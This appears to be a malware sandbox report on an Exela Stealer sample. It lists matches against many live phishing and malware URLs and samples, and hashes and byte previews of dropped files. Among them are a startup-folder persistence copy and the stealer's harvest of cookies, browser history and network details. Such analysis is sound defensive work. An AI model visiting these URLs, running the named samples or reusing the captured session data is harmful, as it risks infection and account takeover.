                                                                                                                                                                                            • 172.66.47.177
                                                                                                                                                                                            https://protections.load-document.workers.dev/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                            • 104.21.61.252
                                                                                                                                                                                            https://web-dappfixs.pages.dev/pages/connection-module/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                            • 172.66.44.179
                                                                                                                                                                                            https://ziraat-ba.com/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                            • 104.21.16.118
                                                                                                                                                                                            https://mhgfdszxfgh876.pages.dev/robots.txtGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                            • 104.18.24.163
                                                                                                                                                                                            https://support-business-community.help/meta-community-support/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                            • 104.17.24.14
                                                                                                                                                                                            http://sechoparli.comGet hashmaliciousHtmlDropper, HTMLPhisherBrowse
                                                                                                                                                                                            • 104.17.2.184
                                                                                                                                                                                            TUT-ASUSXosqvD3TNK.exeGet hashmaliciousSmokeLoader, XWormBrowse
                                                                                                                                                                                            • 208.95.112.1
                                                                                                                                                                                            4ac7d8a9a14447f7e60f14699384b340ef2564e6fad91727a0f3f2706c726b03_dump.exeGet hashmaliciousSmokeLoader, XWormBrowse
                                                                                                                                                                                            • 208.95.112.1
                                                                                                                                                                                            n1xXsLg7CL.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                                            • 208.95.112.1
                                                                                                                                                                                            Cheat.Lab.2.7.2.msiGet hashmaliciousRedLine, zgRATBrowse
                                                                                                                                                                                            • 208.95.112.1
                                                                                                                                                                                            file.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                            • 208.95.112.1
                                                                                                                                                                                            Agonied_Grabber_V2.4.exeGet hashmaliciousBlank GrabberBrowse
                                                                                                                                                                                            • 208.95.112.1
                                                                                                                                                                                            RGyT9gS5Wp.exeGet hashmaliciousAsyncRAT, XWormBrowse
                                                                                                                                                                                            • 208.95.112.1
                                                                                                                                                                                            FedEx_AWB#_8116010123507.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                            • 208.95.112.1
                                                                                                                                                                                            Recibo_de_env#U00edo_de_DHL_Gu#U00eda_de_embarque_Doc_PRG2110017156060.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                            • 208.95.112.1
                                                                                                                                                                                            Recibo_de_env#U00edo_de_DHL_Gu#U00eda_de_embarque_Doc_PRG211003417156060.xla.xlsxGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                            • 208.95.112.1
                                                                                                                                                                                            Recibo_de_env#U00edo_de_DHL_Gu#U00eda_de_embarque_Doc_PRG211001715606.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                            • 208.95.112.1
                                                                                                                                                                                            e-dekont.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                                                                                                                                                            • 208.95.112.1
                                                                                                                                                                                            Complexcaresolutions-ACH#80908.hTmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                            • 208.95.112.2
                                                                                                                                                                                            https://r20.rs6.net/tn.jsp?f=0014g8CimRsyfsXhRcokS4gCGfNQQGnJnYWf2D3I4dBh7hSeER3X0T-g-BR44FifTHYOMOheYbnWB5duWTQ7ZE2GLeKzS3RgXmolpTBnsvpJRfEQRFdVlRBOFenEvkJVsG60XzEapPM_rp-2eqQc0ASO-2Sx6tVG2MICOpELsnkP7OSvLjzNsvV9Q==&c=&ch==&__=/asdf/YnJ5Y2Uuam9obnNvbkBzdGVwYW4uY29tGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                            • 208.95.112.2
                                                                                                                                                                                            051223_JOK_JOKSP67123_MSI_-_Marine_Spares_International.xls.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                            • 208.95.112.1
                                                                                                                                                                                            MV_CHARLENE_DETAILS.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                            • 208.95.112.1
                                                                                                                                                                                            Notificaci#U00f3n_Transferencia_Interbancaria.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                            • 208.95.112.1
                                                                                                                                                                                            17049844844c91418df05caa784d7b01efd38530d3b9f4085141b3efa51b2282b1bd03abee258.dat-decoded.exeGet hashmaliciousPXRECVOWEIWOEI StealerBrowse
                                                                                                                                                                                            • 208.95.112.1
                                                                                                                                                                                            PO-001.exeGet hashmaliciousAgentTesla, GuLoaderBrowse
                                                                                                                                                                                            • 208.95.112.1
                                                                                                                                                                                            https://r20.rs6.net/tn.jsp?f=001hpH3iFffMveYjStO_X-MvG9RPTAIiC6hH4aTZU7rVzcpvUP_ICqo36RUMXQVfsUqrm4g7z-3oSj0KQANPFyd7MBjWWS-bv6QWs7PqyxIwA-IwCQs4kQi1tfcYzCaVnvmTt7ZwML9C70thbxO1_yIGfcUEvxfwQDq&__=bkorn@drinkbodyarmor.comGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                            • 208.95.112.2
                                                                                                                                                                                            CLOUDFLARENETUSPARKINGLIST_&_ORIGINAL_BL.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                                                                            • 104.22.52.71
                                                                                                                                                                                            DHL_AWB,COMMERCIAL_INVOICE.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                                                                            • 104.21.84.67
                                                                                                                                                                                            New_Order.xlsGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                            • 104.22.52.71
                                                                                                                                                                                            Booking.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                                                                            • 104.21.84.67
                                                                                                                                                                                            facturas_y_datos_bancarios.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                                                                            • 104.21.84.67
                                                                                                                                                                                            https://publuu.com/flip-book/362236/826905Get hashmaliciousUnknownBrowse
                                                                                                                                                                                            • 104.21.81.254
                                                                                                                                                                                            https://hwhk.steamproxy.vip/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                            • 172.64.145.151
                                                                                                                                                                                            https://awrs.cl/wp-content/themes/form/bill.charged.htmlGet hashmaliciousUnknownBrowse
                                                                                                                                                                                            • 172.67.20.158
                                                                                                                                                                                            PYMT_SUCESSFUL_AVIS_CREDIT_12012024.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                                                                            • 104.21.53.32
                                                                                                                                                                                            https://xien-olwia-27a8ha7ga7dh38sj2gv26gsjj2kzam68msk3iiofff02ua.pages.dev/robots.txtGet hashmaliciousUnknownBrowse
                                                                                                                                                                                            • 172.66.44.242
                                                                                                                                                                                            https://jkhiuiiugiugiigutturdturdutrdturdt.pages.dev/aec0eorugW20bgX6j/Get hashmaliciousTechSupportScamBrowse
                                                                                                                                                                                            • 172.66.44.212
                                                                                                                                                                                            https://currently000112.square.site/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                            • 162.159.136.66
                                                                                                                                                                                            https://usps.redelivery-secured.103-23-199-211.cprapid.com/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                            • 104.17.25.14
                                                                                                                                                                                            https://0c20ao28371yaha2jak22gaj3cabbe6jsjs936ay3.pages.dev/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                            • 172.66.47.177
                                                                                                                                                                                            https://protections.load-document.workers.dev/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                            • 104.21.61.252
                                                                                                                                                                                            https://web-dappfixs.pages.dev/pages/connection-module/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                            • 172.66.44.179
                                                                                                                                                                                            https://ziraat-ba.com/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                            • 104.21.16.118
                                                                                                                                                                                            https://mhgfdszxfgh876.pages.dev/robots.txtGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                            • 104.18.24.163
                                                                                                                                                                                            https://support-business-community.help/meta-community-support/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                            • 104.17.24.14
                                                                                                                                                                                            http://sechoparli.comGet hashmaliciousHtmlDropper, HTMLPhisherBrowse
                                                                                                                                                                                            • 104.17.2.184

                                                                                                                                                                                            JA3 Fingerprints

                                                                                                                                                                                            ⊘No context

                                                                                                                                                                                            Dropped Files

                                                                                                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI67202\VCRUNTIME140.dllVfCch0oSlP.exeGet hashmaliciousPython StealerBrowse
                                                                                                                                                                                              SecuriteInfo.com.Win64.Evo-gen.10784.13987.exeGet hashmaliciousPython StealerBrowse
                                                                                                                                                                                                SilentAim.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                  yXLOWtfvSd.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                    hh.htaGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                      hhh.htaGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                        Windows.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                          explorer.exeGet hashmaliciousPython StealerBrowse
                                                                                                                                                                                                            file.exeGet hashmaliciousPython StealerBrowse
                                                                                                                                                                                                              file.exeGet hashmaliciousPython StealerBrowse
                                                                                                                                                                                                                file.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                  D3C3.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    nudes.scr.exeGet hashmaliciousPython Stealer, Discord Token StealerBrowse
                                                                                                                                                                                                                      wechat_XC560-1.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                        trac.exeGet hashmaliciousBlank GrabberBrowse
                                                                                                                                                                                                                          1.jsGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                            1.jsGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                              SecuriteInfo.com.Python.Muldrop.18.32423.7935.exeGet hashmaliciousBlank GrabberBrowse
                                                                                                                                                                                                                                SecuriteInfo.com.Python.Muldrop.18.32423.7935.exeGet hashmaliciousBlank GrabberBrowse
                                                                                                                                                                                                                                  capthca-bypass.exeGet hashmaliciousExela StealerBrowse

                                                                                                                                                                                                                                    Created / dropped Files

                                                                                                                                                                                                                                    C:\ProgramData\Microsoft\Network\Downloader\edb.log

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                    File Type:data
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1310720
                                                                                                                                                                                                                                    Entropy (8bit):0.7067072127746348
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vqf:2JIB/wUKUKQncEmYRTwh0r
                                                                                                                                                                                                                                    MD5:37E8CF90C374FE782ADE516765753960
                                                                                                                                                                                                                                    SHA1:DD0D6A2AEEA3532432D46A9C549B71C3C7B165D9
                                                                                                                                                                                                                                    SHA-256:A2F0819E381DFAA9EF684980B46D00175A129C5E99D45F7D922940546CE95B5E
                                                                                                                                                                                                                                    SHA-512:B26374F63D3715192634D616AB2FD2CADAB43AE311F314930A59B9ED64C72D9B4FDAD10980C607276BFBA58A2E03EC39C06CFF94966EA928369D90B4C7E0BDED
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

                                                                                                                                                                                                                                    C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                    File Type:Extensible storage engine DataBase, version 0x620, checksum 0x9fe46925, page size 16384, DirtyShutdown, Windows version 10.0
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1310720
                                                                                                                                                                                                                                    Entropy (8bit):0.7899743599956502
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:1536:zSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:zazaPvgurTd42UgSii
                                                                                                                                                                                                                                    MD5:FC51B6FF1E4A54258E72B4E5C7DFDFB5
                                                                                                                                                                                                                                    SHA1:2A9BCAF2385A18BD5CAE11A30AB661121EB6DAAB
                                                                                                                                                                                                                                    SHA-256:0E6F42AEF866E7E1EB224B8A789171B7CD159BEBDCDC66C504743F579E4A961D
                                                                                                                                                                                                                                    SHA-512:1E7566E92EA887D56E968DAAB912E927EC4E161EAB80CE1BFD986BF5A1643E5CB2F140F6867E0846B9AA7FA083F69B19B4225F7D071E92BCD59CA612FD4EFEB7
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:..i%... ...............X\...;...{......................0.`.....42...{5..2...|#.h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{...................................j...2...|C..................T...2...|C..........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                    C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                    File Type:data
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):16384
                                                                                                                                                                                                                                    Entropy (8bit):0.08211667046995741
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:3:Lm1KYeCdket/57Dek3Jbw5ZK/allEqW3l/TjzzQ/t:2Kz2vR3tMLmd8/
                                                                                                                                                                                                                                    MD5:EFFCD387C62ECC536698D35BAB61CD57
                                                                                                                                                                                                                                    SHA1:1800AE68A865EFECF2A106D714EBCC014731CAE0
                                                                                                                                                                                                                                    SHA-256:0DBE08CD0D3D70D56FF1BDDC8DC163880D9EDCD084826D9EBEFA5C9D7F108592
                                                                                                                                                                                                                                    SHA-512:063FAEF91B06CDA2031B5218EC3F0842DBB0E59DE35DA9D031ABA1EBE51E6F465C0444F66498527F8DD85998026529BF62347FA16F316DD4DE0F4853381160CA
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:lr.......................................;...{...2...|C.42...{5.........42...{5.42...{5...Y.42...{59.................T...2...|C.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Exela.exe

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):16417517
                                                                                                                                                                                                                                    Entropy (8bit):6.304218706058302
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:196608:ZqqMPAEuton3dDTeeNy+wfm/pf+xfdkRuBnfXWK6tSDrIWOIWsDaqkH:lDtet5y+9/pWFGREnfXBPDrIW1TaDH
                                                                                                                                                                                                                                    MD5:4D70F444794DEDF45C2A6562D4EAED19
                                                                                                                                                                                                                                    SHA1:337A7A9BE709B1A3F848256C9E4A421911C265BE
                                                                                                                                                                                                                                    SHA-256:CA120C365DDD0E24311E36E1EC5D4AF6DB21B0F2EBD6F7DFD0D6A3A730621367
                                                                                                                                                                                                                                    SHA-512:846ED7F6FBDF15CCB13D3DEE5261357E8D3EFCF8FC0A804CCB0CFAFA166D89BA68D688AF51D36468C8ACD4B66DC209BA5475784ED88FE8EFF12C39D0E9FAAD01
                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                    Antivirus:
                                                                                                                                                                                                                                    • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                    • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                    • Antivirus: ReversingLabs, Detection: 53%
                                                                                                                                                                                                                                    • Antivirus: Virustotal, Detection: 65%, Browse
                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U.Q...?...?...?.Z.<...?.Z.:...?.Z.;...?......?...:.9.?...;...?...<...?.Z.>...?...>...?.+.;...?.+.=...?.Rich..?.........................PE..d.....e.........."....%.....r.................@....................................Y^....`.....................................................x....`..,.... ..."...........p..\...0..................................@............... ............................text............................... ..`.rdata...+.......,..................@..@.data...83..........................@....pdata..."... ...$..................@..@_RDATA..\....P......................@..@.rsrc...,....`......................@..@.reloc..\....p......................@..B................................................................................................................................................................................................

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):16417517
                                                                                                                                                                                                                                    Entropy (8bit):6.304218706058302
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:196608:ZqqMPAEuton3dDTeeNy+wfm/pf+xfdkRuBnfXWK6tSDrIWOIWsDaqkH:lDtet5y+9/pWFGREnfXBPDrIW1TaDH
                                                                                                                                                                                                                                    MD5:4D70F444794DEDF45C2A6562D4EAED19
                                                                                                                                                                                                                                    SHA1:337A7A9BE709B1A3F848256C9E4A421911C265BE
                                                                                                                                                                                                                                    SHA-256:CA120C365DDD0E24311E36E1EC5D4AF6DB21B0F2EBD6F7DFD0D6A3A730621367
                                                                                                                                                                                                                                    SHA-512:846ED7F6FBDF15CCB13D3DEE5261357E8D3EFCF8FC0A804CCB0CFAFA166D89BA68D688AF51D36468C8ACD4B66DC209BA5475784ED88FE8EFF12C39D0E9FAAD01
                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                    Antivirus:
                                                                                                                                                                                                                                    • Antivirus: ReversingLabs, Detection: 53%
                                                                                                                                                                                                                                    • Antivirus: Virustotal, Detection: 65%, Browse
                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U.Q...?...?...?.Z.<...?.Z.:...?.Z.;...?......?...:.9.?...;...?...<...?.Z.>...?...>...?.+.;...?.+.=...?.Rich..?.........................PE..d.....e.........."....%.....r.................@....................................Y^....`.....................................................x....`..,.... ..."...........p..\...0..................................@............... ............................text............................... ..`.rdata...+.......,..................@..@.data...83..........................@....pdata..."... ...$..................@..@_RDATA..\....P......................@..@.rsrc...,....`......................@..@.reloc..\....p......................@..B................................................................................................................................................................................................

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                    File Type:data
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):64
                                                                                                                                                                                                                                    Entropy (8bit):1.1940658735648508
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:3:NlllulVmdtZ:NllUM
                                                                                                                                                                                                                                    MD5:013016A37665E1E37F0A3576A8EC8324
                                                                                                                                                                                                                                    SHA1:260F55EC88E3C4D384658F3C18C7FDEF202E47DD
                                                                                                                                                                                                                                    SHA-256:20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
                                                                                                                                                                                                                                    SHA-512:99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:@...e................................................@..........

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\19882742-CC56-1A59-9779-FB8CBFA1E29D.zip

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:Zip archive data, at least v2.0 to extract, compression method=store
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):705969
                                                                                                                                                                                                                                    Entropy (8bit):7.997779651671917
                                                                                                                                                                                                                                    Encrypted:true
                                                                                                                                                                                                                                    SSDEEP:12288:rK7B846wZjnZ/l2cxKs7Ndh2dl0BX0ygd0qqQMcpvmAIuf6eSAQP:rKS46wj1Us7bh2dl0BX0f0oMcpoeSAQP
                                                                                                                                                                                                                                    MD5:EF61F4ED3D757817409014B14721F692
                                                                                                                                                                                                                                    SHA1:891D52E1C2E52C8887734EC2CCDC28FBF792F96D
                                                                                                                                                                                                                                    SHA-256:1B3E2B52CF46E4AD5CE3A9BA2E7AA60AA14100B1A1BB783A5001FA8775AAEB2A
                                                                                                                                                                                                                                    SHA-512:06BF7EFCD067B85A9C9804F17CEEB2A2BD8831EA15C8E2E0AF9D6BF087E3BF7B3C8A21318D282E5215C86C0C09EC372DBD420024B8D0BB5879F0BA48268AB76D
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:PK........L6-X................Browsers/PK........L6-X................Wallets/PK........L6-X..V.....!.......Display (1).pngT.{<...?.?6.S9L..6LB.J....Q...!*D.a.cN9.&..)J..3s.....|6s>....}.~~..l.x..a...z..n....<.z......-.;..H.......j.h......M5 .K`...-U.(.e.wt*.S-S7.`o<...8......1...8.}......._.<.].5..V.=.X.p...fw.....7.^g.[.;....h1c.. .29..jj......'.4F....2~.]..5......A...F...\..^_..(u9\...=.r.......s....\....=..9kU..i.N./...{.....w[....^v..I!.|..@Zq..=|..7...XL.Z..vm...O.?s...%G.....o...S2%.....P.!Oqu..Y....m.....N..x..]..z......}V.....{..'l9.m......2X.....=.a..?...u(.w{.(-).?..........ej...@....sL......=..R...c.+.._.ZWu..|^....w...1#.......Vf8...N}......[..g.^..X.khe{......%.I6O...i.....#.=.....!J...J.......v.. ..}.@...OV~.{...r...cr.......8../~.Gi~.UY2l0Y..3.2.Y...Y........-.u.V...D......O0EY.......>.l/&..*....,O...~...q..&..UU..k..Uz0o.HK.|.~X..W.D..m1.w...r.........w......../...E......l..[...a...9....-~e.S._...+.....6.n....C

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\19882742-CC56-1A59-9779-FB8CBFA1E29D\Browsers\Cookies.txt

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):432
                                                                                                                                                                                                                                    Entropy (8bit):5.365627083720754
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:6:Lv5hOs3rsLgxbh+3r4wyXfaaW3UnhzrWgOsH6/8hwDFI0BFOqv5:L6s7JH+74xva3UhyL/8ObW0
                                                                                                                                                                                                                                    MD5:7C02C56F7D8D62510B3E7117500612A9
                                                                                                                                                                                                                                    SHA1:8F0FF1F5911101E6AB63418BB2FEBAACA431D2F2
                                                                                                                                                                                                                                    SHA-256:FF7A4ACC9936170BEC4315DC059166C35947BB1EBAFF79CB872BE680987802AA
                                                                                                                                                                                                                                    SHA-512:C21F998A73F557EBD6D4C4F160E5501B506B261E5D2CD058FAD0D9B453A469D640DFAF8970B3EB87A84FD3C4CBB0DE260309C1A769875E895DF88E8CCFE921A4
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:----------------------https://t.me/ExelaStealer----------------------..======================================================================...google.com.TRUE./.FALSE.13343557341976489.1P_JAR.2023-10-05-07...google.com.TRUE./.FALSE.13356776540976533.NID.511=nNadqW9uTcY0OP6I3afnr71o6EzaYLsdpW4UEYN3vYq_rbRrNFxM1jozPGuhjORBZKKMz2tdDpVe7dNuTWp4CyK-zt5Is6wVElveWAfKQgwNJiKKtXHCCCmrlgzZTl5CiKjTeA2iQqf6zlRK2h8wg1hVpIsWsaKqaWJyHMPF3JA..

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\19882742-CC56-1A59-9779-FB8CBFA1E29D\Browsers\Firefox\History.txt

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1140
                                                                                                                                                                                                                                    Entropy (8bit):5.083438563310164
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:LdrxsM0T/CrxsaQT/iWifT/QiRJT/TiCQERoT/WierDiJrd:Lz8mVcexFMwkcmh
                                                                                                                                                                                                                                    MD5:33A595FEA4D6D4BA39DADBE956AFB9E2
                                                                                                                                                                                                                                    SHA1:9F0674CC5EB35F922071AC7D076B041C4BBF1638
                                                                                                                                                                                                                                    SHA-256:32AAD8B4A981567081FE51B91DD9D75833D689CD9D3A1167A7E9CDC83CFB0744
                                                                                                                                                                                                                                    SHA-512:7D42A96347FC085CA69611F84477A7AB294CE683E9A958C256C7CBB820C835A17B13672F0C5C8BCAF746B48BDB9333C305AEEA46DE801DE8E427FFB0B1CBEFD4
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:----------------------https://t.me/ExelaStealer----------------------..======================================================================..ID: 1 | URL: https://support.mozilla.org/products/firefox | Title: None | Visit Count: 0 | Last Visit Time: None..ID: 2 | URL: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-browser&utm_medium=default-bookmarks&utm_campaign=customize | Title: None | Visit Count: 0 | Last Visit Time: None..ID: 3 | URL: https://www.mozilla.org/contribute/ | Title: None | Visit Count: 0 | Last Visit Time: None..ID: 4 | URL: https://www.mozilla.org/about/ | Title: None | Visit Count: 0 | Last Visit Time: None..ID: 5 | URL: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaign=new-users&utm_content=-global | Title: None | Visit Count: 0 | Last Visit Time: None..ID: 6 | URL: https://www.mozilla.org/privacy/firefox/ | Title: None | Visit Count: 1 | Last Visit Time: 169649

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\19882742-CC56-1A59-9779-FB8CBFA1E29D\network_info.txt

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):257
                                                                                                                                                                                                                                    Entropy (8bit):4.3172860757600615
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:3:111T8/s5hO7y9BXXLRJgnN3GU5cZyHEwAyWjWFUE31RcUoubRewLWn:Lv5hOcXXknN3GU5cok1S3bfoLpn
                                                                                                                                                                                                                                    MD5:430134D8BDC15F8A72194152614B2CD9
                                                                                                                                                                                                                                    SHA1:5931E27CA84C2E8207E7AF177C6767B3089C34D5
                                                                                                                                                                                                                                    SHA-256:639D5953E948277CDD97A6E1BF57DC7D3A220ED14952D04D79A708E73A7E2B8C
                                                                                                                                                                                                                                    SHA-512:908DE4180030BB3CA7CB134D4B4719BCDCE30D9814C832D16ED45DD55528BFC51E1D83060CD714251BECC91B24A695A4989C9635C13C46ECA98ABB2EBB04D2AF
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:----------------------https://t.me/ExelaStealer----------------------..======================================================================..102.165.48.42..United States..Washington..America/New_York..AS174 DET Africa (Pty) LTD AS174 Cogent Communications

                                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Temp\19882742-CC56-1A59-9779-FB8CBFA1E29D\process_info.txt

                                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with CRLF, CR line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):27938
                                                                                                                                                                                                                                    Entropy (8bit):4.744748239140429
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:384:PA20pTSZSW8on7aVLlIr1QfEWKzRfP60Qp8V87b0mSaaeLdG3QXyDy6wGthv9qS0:x7M22gKR
                                                                                                                                                                                                                                    MD5:3185C4FEBA8839046826BD33C2461C45
                                                                                                                                                                                                                                    SHA1:BA9F10E0A8AABCB3A48BA6A769F0971096480AAE
                                                                                                                                                                                                                                    SHA-256:8182F43168D9F919B0174966E713DF8E3459ABD2832CDE8EF723D57F23916AAC
                                                                                                                                                                                                                                    SHA-512:08D5F8C7EF9814D310E56C678D2FA0143BB0A749383B9A18FDF2CCE044F34513B2CDB1B34D0A88070E01F455BCC5AF3286BC3621279460FAD6259ED0E740592F
